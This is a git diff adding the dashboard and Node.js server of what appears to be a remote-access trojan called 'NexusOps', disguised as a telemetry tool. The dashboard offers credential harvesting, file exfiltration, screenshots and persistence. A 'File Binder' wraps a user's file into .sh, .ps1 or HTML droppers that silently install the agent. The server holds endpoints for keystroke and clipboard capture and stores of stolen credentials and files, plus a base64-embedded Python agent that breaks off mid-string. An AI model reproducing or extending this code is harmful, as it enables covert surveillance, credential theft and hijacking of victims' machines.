+
+
Inspect top CPU processes or terminate stuck process ID (PID).
+
+
Fetch Top Processes
+
+ Kill PID
+
+
+
Kill PID
+
+
+
+
+
+
Hardware, Storage, Environment & System Diagnostic Inspection.
+
+ Hardware & CPU Specs
+ Disk Partitions
+ Environment Variables
+ Full Diagnostics
+
+
+
+
+
+
File exfiltration, screenshot capture, credential harvesting, persistence.
+
+ Screenshot
+ Harvest Creds
+ Ensure Persistence
+ Update Agent
+
+
+
+
+
+
+
Network Interface Cards & Active Established Connections.
+
+ Network Interfaces
+ Established TCP Sockets
+ Listening Ports
+
+
+
+
+
+
+
+
+ Reboot Target Machine
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Broadcast Command
+
+
+
+ Cancel
+ Broadcast to All Nodes
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Cancel
+
+ Payload Format
+
+ Shell Dropper (.sh) — Linux/macOS
+ PowerShell (.ps1) — Windows
+ HTML Payload (.html) — One-click browser
+
+
+
+ Bind & Download
+
+
+
+
+
+ How it works: Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. Formats: .sh (Linux/macOS), .ps1 (Windows), .html (one-click browser payload)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
NexusOps Access
+
Enter your operator token to continue.
+
+
Unlock
+
Invalid token — try again.
+
+
+
+
+
+
+
+
+
diff --git a/backups/20260923/server.js b/backups/20260923/server.js
new file mode 100644
index 0000000..7af4da6
--- /dev/null
+++ b/backups/20260923/server.js
@@ -0,0 +1,963 @@
+const express = require('express');
+const http = require('http');
+const WebSocket = require('ws');
+const path = require('path');
+const cors = require('cors');
+const os = require('os');
+const multer = require('multer');
+const fs = require('fs');
+
+const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
+
+const app = express();
+const server = http.createServer(app);
+const wss = new WebSocket.Server({ server });
+
+const PORT = process.env.PORT || 3000;
+const PUBLIC_URL = process.env.PUBLIC_URL || null;
+const DATA_DIR = path.join(__dirname, 'data');
+
+// Ensure data directory exists
+if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
+
+app.use(cors());
+app.use(express.json({ limit: '50mb' }));
+app.use(express.static(path.join(__dirname, 'public')));
+
+// ── Auth ──
+const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
+if (!AUTH_TOKEN) {
+ console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
+}
+const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
+function authMiddleware(req, res, next) {
+ if (!AUTH_TOKEN) return next();
+ if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
+ const h = req.headers.authorization || '';
+ if (h === 'Bearer ' + AUTH_TOKEN) return next();
+ if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
+ return res.status(401).json({ error: 'unauthorized' });
+}
+app.use(authMiddleware);
+app.get('/api/auth/check', (req, res) => {
+ if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
+ res.json({ ok: true, authRequired: true });
+});
+
+
+
+function getLocalIp() {
+ const interfaces = os.networkInterfaces();
+ for (const name of Object.keys(interfaces)) {
+ for (const net of interfaces[name]) {
+ if (net.family === 'IPv4' && !net.internal) {
+ return net.address;
+ }
+ }
+ }
+ return 'localhost';
+}
+
+const SERVER_IP = getLocalIp();
+
+const nodes = new Map();
+const commandQueues = new Map();
+const commandHistory = [];
+const masterSystemLogs = [];
+const inputDataStore = [];
+const MAX_INPUT_STORE = 500;
+const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
+const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
+
+// ── Persistence ──
+let _saveLock = false;
+function _atomicWrite(file, data) {
+ const tmp = file + '.tmp';
+ fs.writeFileSync(tmp, data);
+ fs.renameSync(tmp, file);
+}
+function saveData() {
+ if (_saveLock) return;
+ _saveLock = true;
+ try {
+ _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
+ _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
+ _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
+ _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
+ _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
+ } catch(e) { /* silent */ } finally {
+ _saveLock = false;
+ }
+}
+
+function loadData() {
+ try {
+ const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
+ nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
+ commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
+ masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
+ inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
+ harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
+ } catch(e) { /* first run */ }
+}
+loadData();
+
+// Auto-save every 30 seconds
+setInterval(saveData, 30000);
+
+setInterval(() => {
+ const now = Date.now();
+ let changed = false;
+ nodes.forEach((node, id) => {
+ if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
+ node.status = 'offline';
+ changed = true;
+ }
+ });
+ if (changed) {
+ broadcastState();
+ }
+}, 5000);
+
+let _lastSaveTime = 0;
+function broadcastState() {
+ const now = Date.now();
+ if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
+ const payload = JSON.stringify({
+ type: 'NODES_UPDATE',
+ serverIp: SERVER_IP,
+ port: PORT,
+ publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
+ nodes: Array.from(nodes.values()),
+ commandHistory: commandHistory.slice(-50),
+ masterSystemLogs: masterSystemLogs.slice(-100),
+ inputData: inputDataStore.slice(-200)
+ });
+
+ wss.clients.forEach(client => {
+ if (client.readyState === WebSocket.OPEN) {
+ client.send(payload);
+ }
+ });
+}
+
+wss.on('connection', (ws, req) => {
+ // Auth check on WS upgrade
+ if (AUTH_TOKEN) {
+ const url = new URL(req.url, 'http://localhost');
+ if (url.searchParams.get('token') !== AUTH_TOKEN) {
+ ws.close(4401, 'unauthorized');
+ return;
+ }
+ }
+ ws.isAlive = true;
+ ws.on('pong', () => { ws.isAlive = true; });
+ ws.send(JSON.stringify({
+ type: 'NODES_UPDATE',
+ serverIp: SERVER_IP,
+ port: PORT,
+ publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
+ nodes: Array.from(nodes.values()),
+ commandHistory: commandHistory.slice(-50),
+ masterSystemLogs: masterSystemLogs.slice(-100),
+ inputData: inputDataStore.slice(-200)
+ }));
+});
+
+// WS heartbeat: ping every 25s, drop dead clients
+setInterval(() => {
+ wss.clients.forEach(ws => {
+ if (ws.isAlive === false) return ws.terminate();
+ ws.isAlive = false;
+ try { ws.ping(); } catch(e) {}
+ });
+}, 25000);
+
+// REST API Endpoints
+
+app.get('/api/status', (req, res) => {
+ res.json({
+ serverIp: SERVER_IP,
+ port: PORT,
+ serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
+ totalNodes: nodes.size,
+ onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
+ });
+});
+
+app.get('/api/nodes', (req, res) => {
+ res.json(Array.from(nodes.values()));
+});
+
+app.get('/api/logs', (req, res) => {
+ res.json(masterSystemLogs.slice(-100));
+});
+
+// CSV Telemetry Export Endpoint
+app.get('/api/export/csv', (req, res) => {
+ let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
+ nodes.forEach(node => {
+ const tagsStr = (node.tags || []).join(';');
+ csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
+ });
+ res.setHeader('Content-Type', 'text/csv');
+ res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
+ res.send(csv);
+});
+
+// Agent System Log Streaming Endpoint
+app.post('/api/agent/logs', (req, res) => {
+ const { nodeId, hostname, logs } = req.body;
+ if (Array.isArray(logs)) {
+ logs.forEach(logLine => {
+ masterSystemLogs.push({
+ id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
+ nodeId,
+ hostname: hostname || 'Unknown',
+ timestamp: Date.now(),
+ entry: logLine
+ });
+ });
+ if (masterSystemLogs.length > 200) {
+ masterSystemLogs.splice(0, masterSystemLogs.length - 200);
+ }
+ broadcastState();
+ }
+ res.json({ success: true });
+});
+
+// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
+app.post('/api/agent/input-capture', (req, res) => {
+ const { nodeId, hostname, events } = req.body;
+ if (!nodeId || !Array.isArray(events)) {
+ return res.status(400).json({ error: 'nodeId and events[] required' });
+ }
+
+ events.forEach(ev => {
+ inputDataStore.push({
+ id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
+ nodeId,
+ hostname: hostname || 'Unknown',
+ timestamp: ev.timestamp || Date.now(),
+ eventType: ev.eventType || 'unknown',
+ data: ev.data || {},
+ windowTitle: ev.windowTitle || '',
+ processName: ev.processName || ''
+ });
+ });
+
+ if (inputDataStore.length > MAX_INPUT_STORE) {
+ inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
+ }
+
+ if (events.length > 0) {
+ broadcastState();
+ }
+
+ res.json({ success: true, stored: events.length });
+});
+
+// Retrieve input capture data
+app.get('/api/inputs', (req, res) => {
+ const { nodeId, eventType, limit } = req.query;
+ let filtered = inputDataStore;
+
+ if (nodeId) {
+ filtered = filtered.filter(e => e.nodeId === nodeId);
+ }
+ if (eventType) {
+ filtered = filtered.filter(e => e.eventType === eventType);
+ }
+
+ const max = parseInt(limit) || 200;
+ res.json(filtered.slice(-max));
+});
+
+// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
+// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ──
+const AGENT_B64 = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKTmV4dXNPcHMgQ3Jvc3MtUGxhdGZvcm0gTm9kZSBNYW5hZ2VtZW50ICYgVGVsZW1ldHJ5IEFnZW50ClVzZXMgU3RhbmRhcmQgUHl0aG9uIDMgTGlicmFyaWVzIChObyBleHRlcm5hbCBkZXBlbmRlbmNpZXMgcmVxdWlyZWQpCiIiIgoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHRpbWUKaW1wb3J0IGpzb24KaW1wb3J0IHNvY2tldAppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IGFyZ3BhcnNlCgpsYXN0X2xvZ19jaGVja190aW1lID0gMApoZWFydGJlYXRfaW50ZXJ2YWwgPSA1ICAjIER5bmFtaWMgaGVhcnRiZWF0IHJhdGUgaW4gc2Vjb25kcwpub2RlX3RhZ3MgPSBbIkRlZmF1bHQiXQpxdWlldF9tb2RlID0gRmFsc2UgICMgU3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIHdoZW4gVHJ1ZQoKZGVmIGdldF9wcm9jZXNzX2NvdW50KCk6CiAgICAiIiJHZXQgcmVhbCBwcm9jZXNzIGNvdW50IGNyb3NzLXBsYXRmb3JtLiIiIgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiIG9yIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJwcyIsICJhdXgiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIHJldHVybiBsZW4ob3V0LnNwbGl0bGluZXMoKSkgLSAxICAjIG1pbnVzIGhlYWRlcgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ0YXNrbGlzdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmV0dXJuIGxlbihvdXQuc3BsaXRsaW5lcygpKSAtIDEKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMAoKZGVmIGdldF9pcF9hZGRyZXNzKCk6CiAgICAiIiJHZXQgcHJpbWFyeSBJUCwgcHJlZmVycmluZyBwaHlzaWNhbCBFdGhlcm5ldCBvdmVyIFZQTi90dW5uZWwgaW50ZXJmYWNlcy4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgbWFjT1M6IHVzZSBpZmNvbmZpZyB0byBmaW5kIGVuMCBJUCAocGh5c2ljYWwgRXRoZXJuZXQvV2lGaSkKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpZmNvbmZpZyIsICJlbjAiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICBpZiAnaW5ldCAnIGluIGxpbmUgYW5kICcxMjcuMC4wLjEnIG5vdCBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIHBhcnRzID0gbGluZS5zdHJpcCgpLnNwbGl0KCkKICAgICAgICAgICAgICAgICAgICBmb3IgaSwgcCBpbiBlbnVtZXJhdGUocGFydHMpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBwID09ICdpbmV0JyBhbmQgaSsxIDwgbGVuKHBhcnRzKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBwYXJ0c1tpKzFdCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgIyBMaW51eDogdHJ5IGlwIHJvdXRlIHRvIGZpbmQgcHJpbWFyeSBpbnRlcmZhY2UKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpcCIsICItNCIsICJyb3V0ZSIsICJnZXQiLCAiOC44LjguOCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgZm9yIHBhcnQgaW4gb3V0LnNwbGl0KCk6CiAgICAgICAgICAgICAgICBpZiBwYXJ0LnN0YXJ0c3dpdGgoJ3NyYyAnKToKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFydC5zcGxpdCgpWzFdIGlmICcgJyBpbiBwYXJ0IGVsc2Ugb3V0LnNwbGl0KCdzcmMgJylbMV0uc3BsaXQoKVswXQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgICMgRmFsbGJhY2s6IGNvbm5lY3QgdG8gOC44LjguOAogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSkKICAgICAgICBzLmNvbm5lY3QoKCI4LjguOC44IiwgODApKQogICAgICAgIGlwID0gcy5nZXRzb2NrbmFtZSgpWzBdCiAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgcmV0dXJuIGlwCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiAiMTI3LjAuMC4xIgoKZGVmIGdldF9jcHVfdXNhZ2UoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9zdGF0JywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmllbGRzID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZSwgdG90YWwgPSBmaWVsZHNbM10sIHN1bShmaWVsZHMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICB3aXRoIG9wZW4oJy9wcm9jL3N0YXQnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICBmaWVsZHMyID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZTIsIHRvdGFsMiA9IGZpZWxkczJbM10sIHN1bShmaWVsZHMyKQogICAgICAgICAgICBpZGxlX2RlbHRhID0gaWRsZTIgLSBpZGxlCiAgICAgICAgICAgIHRvdGFsX2RlbHRhID0gdG90YWwyIC0gdG90YWwKICAgICAgICAgICAgaWYgdG90YWxfZGVsdGEgPiAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKDEwMC4wICogKDEuMCAtIGlkbGVfZGVsdGEgLyB0b3RhbF9kZWx0YSksIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidG9wIiwgIi1sIiwgIjEiLCAiLW4iLCAiMCJdKS5kZWNvZGUoKQogICAgICAgICAgICBmb3IgbGluZSBpbiBvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgaWYgIkNQVSB1c2FnZSIgaW4gbGluZToKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoKQogICAgICAgICAgICAgICAgICAgIHVzZXIgPSBmbG9hdChwYXJ0c1syXS5yZXBsYWNlKCclJywgJycpKQogICAgICAgICAgICAgICAgICAgIHN5c19jID0gZmxvYXQocGFydHNbNF0ucmVwbGFjZSgnJScsICcnKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm91bmQodXNlciArIHN5c19jLCAxKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ3bWljIiwgImNwdSIsICJnZXQiLCAibG9hZHBlcmNlbnRhZ2UiXSkuZGVjb2RlKCkKICAgICAgICAgICAgbGluZXMgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCkgaWYgbGluZS5zdHJpcCgpLmlzZGlnaXQoKV0KICAgICAgICAgICAgaWYgbGluZXM6CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXQobGluZXNbMF0pCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiAxNS4wCgpkZWYgZ2V0X21lbW9yeV91c2FnZSgpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICBtZW1pbmZvID0ge30KICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9tZW1pbmZvJywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gZjoKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoJzonKQogICAgICAgICAgICAgICAgICAgIGlmIGxlbihwYXJ0cykgPT0gMjoKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0gcGFydHNbMF0uc3RyaXAoKQogICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSBpbnQocGFydHNbMV0uc3BsaXQoKVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgbWVtaW5mb1trZXldID0gdmFsCiAgICAgICAgICAgIHRvdGFsID0gbWVtaW5mby5nZXQoJ01lbVRvdGFsJywgMSkKICAgICAgICAgICAgZnJlZSA9IG1lbWluZm8uZ2V0KCdNZW1BdmFpbGFibGUnLCBtZW1pbmZvLmdldCgnTWVtRnJlZScsIDApKQogICAgICAgICAgICByZXR1cm4gcm91bmQoKCh0b3RhbCAtIGZyZWUpIC8gdG90YWwpICogMTAwLjAsIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgVXNlIHZtX3N0YXQgZm9yIHJlYWwgbWVtb3J5IHVzYWdlIG9uIG1hY09TCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidm1fc3RhdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHBhZ2VzID0ge30KICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgJzonIGluIGxpbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc6JywgMSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFnZXNbay5zdHJpcCgpXSA9IGludCh2LnN0cmlwKCkucnN0cmlwKCcuJykpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFnZV9zaXplID0gMTYzODQgICMgRGVmYXVsdCBtYWNPUyBwYWdlIHNpemUKICAgICAgICAgICAgICAgIGZyZWUgPSBwYWdlcy5nZXQoJ1BhZ2VzIGZyZWUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgaW5hY3RpdmUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgc3BlY3VsYXRpdmUnLCAwKQogICAgICAgICAgICAgICAgdXNlZCA9IHBhZ2VzLmdldCgnUGFnZXMgYWN0aXZlJywgMCkgKyBwYWdlcy5nZXQoJ1BhZ2VzIHdpcmVkIGRvd24nLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgb2NjdXBpZWQgYnkgY29tcHJlc3NvcicsIDApCiAgICAgICAgICAgICAgICB0b3RhbF9wYWdlcyA9IGZyZWUgKyB1c2VkICsgcGFnZXMuZ2V0KCdQYWdlcyBwdXJnZWFibGUnLCAwKQogICAgICAgICAgICAgICAgaWYgdG90YWxfcGFnZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZCAvIHRvdGFsX3BhZ2VzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICMgRmFsbGJhY2s6IHVzZSBzeXNjdGwgZm9yIGhhcmR3YXJlIGluZm8KICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJzeXNjdGwiLCAiLW4iLCAiaHcubWVtc2l6ZSJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHRvdGFsX2J5dGVzID0gaW50KG91dC5zdHJpcCgpKQogICAgICAgICAgICAgICAgIyBVc2Ugdm1fc3RhdCBwYWdlcyAqIHBhZ2Vfc2l6ZSBmb3IgdXNlZCBlc3RpbWF0ZQogICAgICAgICAgICAgICAgdm0gPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInZtX3N0YXQiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgICAgIGFjdGl2ZSA9IGludChyZS5zZWFyY2gocidQYWdlcyBhY3RpdmU6XHMrKFxkKyknLCB2bSkuZ3JvdXAoMSkpCiAgICAgICAgICAgICAgICB3aXJlZCA9IGludChyZS5zZWFyY2gocidQYWdlcyB3aXJlZCBkb3duOlxzKyhcZCspJywgdm0pLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgdXNlZF9ieXRlcyA9IChhY3RpdmUgKyB3aXJlZCkgKiAxNjM4NAogICAgICAgICAgICAgICAgaWYgdG90YWxfYnl0ZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZF9ieXRlcyAvIHRvdGFsX2J5dGVzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHJldHVybiA0NS4wCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbIndtaWMiLCAib3MiLCAiZ2V0IiwgIkZyZWVQaHlzaWNhbE1lbW9yeSxUb3RhbFZpc2libGVNZW1vcnlTaXplIiwgIi9WYWx1ZSJdKS5kZWNvZGUoKQogICAgICAgICAgICBkID0ge30KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgIGlmICc9JyBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc9JywgMSkKICAgICAgICAgICAgICAgICAgICBkW2suc3RyaXAoKV0gPSBmbG9hdCh2LnN0cmlwKCkpCiAgICAgICAgICAgIGlmICdUb3RhbFZpc2libGVNZW1vcnlTaXplJyBpbiBkIGFuZCAnRnJlZVBoeXNpY2FsTWVtb3J5JyBpbiBkOgogICAgICAgICAgICAgICAgdG90YWwgPSBkWydUb3RhbFZpc2libGVNZW1vcnlTaXplJ10KICAgICAgICAgICAgICAgIGZyZWUgPSBkWydGcmVlUGh5c2ljYWxNZW1vcnknXQogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCgodG90YWwgLSBmcmVlKSAvIHRvdGFsKSAqIDEwMC4wLCAxKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMzUuMAoKZGVmIGdldF9kaXNrX3VzYWdlKCk6CiAgICB0cnk6CiAgICAgICAgaWYgaGFzYXR0cihvcywgJ3N0YXR2ZnMnKToKICAgICAgICAgICAgc3QgPSBvcy5zdGF0dmZzKCcvJykKICAgICAgICAgICAgdG90YWwgPSBzdC5mX2Jsb2NrcyAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGZyZWUgPSBzdC5mX2JhdmFpbCAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGlmIHRvdGFsID4gMDoKICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgoKHRvdGFsIC0gZnJlZSkgLyB0b3RhbCkgKiAxMDAuMCwgMSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDQwLjAKCmRlZiBnZXRfdXB0aW1lX3NlY29uZHMoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy91cHRpbWUnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICByZXR1cm4gaW50KGZsb2F0KGYucmVhZGxpbmUoKS5zcGxpdCgpWzBdKSkKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgIyBtYWNPUzogdXNlIHN5c2N0bCB0byBnZXQgYm9vdCB0aW1lLCBjb21wdXRlIHVwdGltZQogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInN5c2N0bCIsICItbiIsICJrZXJuLmJvb3R0aW1lIl0sIHRleHQ9VHJ1ZSwgdGltZW91dD01KQogICAgICAgICAgICAjIEZvcm1hdDogeyBzZWMgPSAxMjM0NTY3ODkwLCB1c2VjID0gMCB9IFRodSBKYW4gIDEgMDA6MDA6MDAgMTk3MAogICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJ3NlY1xzKj1ccyooXGQrKScsIG91dCkKICAgICAgICAgICAgaWYgbToKICAgICAgICAgICAgICAgIGJvb3RfdGltZSA9IGludChtLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgcmV0dXJuIGludCh0aW1lLnRpbWUoKSAtIGJvb3RfdGltZSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDM2MDAKCmRlZiBjb2xsZWN0X3JlY2VudF9zeXN0ZW1fbG9ncygpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgbG9nX2VudHJpZXMgPSBbXQogIC